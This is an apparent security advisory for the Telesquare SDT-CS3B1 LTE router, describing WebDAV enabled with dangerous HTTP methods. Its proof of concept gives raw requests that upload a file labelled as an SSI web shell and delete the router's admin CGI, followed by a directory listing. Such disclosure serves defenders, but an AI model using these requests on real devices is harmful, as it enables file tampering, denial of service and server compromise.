Telesquare SKT LTE Router SDT-CS3B1 WebDAV HTTP Methods Arbitrary File Events

### Summary We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G LTE wireless communication based LTE router product. ### Description WebDAV is enabled with directory listing and dangerous HTTP methods allowed: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK and UNLOCK. The HTTP PUT method is normally used to upload data that is saved on the server at a user-supplied URL. An attacker can place arbitrary, and potentially malicious, content into the application. Depending on the server's configuration, this may lead to compromise of the server (by uploading server-executable code), or other attacks. The other methods can be used to delete/move/overwrite/create files and cause denial of service scenarios and/or phishing attacks. ### Vendor Telesquare Co., Ltd. - http://www.telesquare.co.kr ### Affected Version * FwVer: SDT-CS3B1, sw version 1.2.0 * LteVer: ML300S5XEA41_090 1 0.1.0 * Modem model: PM-L300S ### Tested On * lighttpd/1.4.20 ### PoC ``` PUT /ssi.shtml HTTP/1.1 User-Agent: ZSL_WebDAV_client/1.0 Connection: TE TE: trailers Host: 10.0.0.17:8081 Content-Length: 29 Content-Type: text/html <title>ZSL_SSI_wSHELL</title> ``` ``` DELETE /cgi-bin/admin.cgi HTTP/1.1 User-Agent: ZSL_WebDAV_client/1.0 Connection: TE TE: trailers Host: 10.0.0.17:8081 ``` WebDAV Enabled Directory listing of /: ``` | WebDAV type: Unkown | Directory Listing: | http://10.0.0.17/ | http://10.0.0.17/admin | http://10.0.0.17/webdav | http://10.0.0.17/login.shtml | http://10.0.0.17/firewall | http://10.0.0.17/traffic | http://10.0.0.17/js | http://10.0.0.17/serial | http://10.0.0.17/nas | http://10.0.0.17/leftMenu.html | http://10.0.0.17/internet | http://10.0.0.17/home.shtml | http://10.0.0.17/images | http://10.0.0.17/wifi2g | http://10.0.0.17/css | http://10.0.0.17/cgi-bin | http://10.0.0.17/amtlsq | http://10.0.0.17/top.shtml | http://10.0.0.17/modem | http://10.0.0.17/wifi5g | http://10.0.0.17/index.html | http://10.0.0.17/lte | http://10.0.0.17/m2mp | http://10.0.0.17/serialmodem ```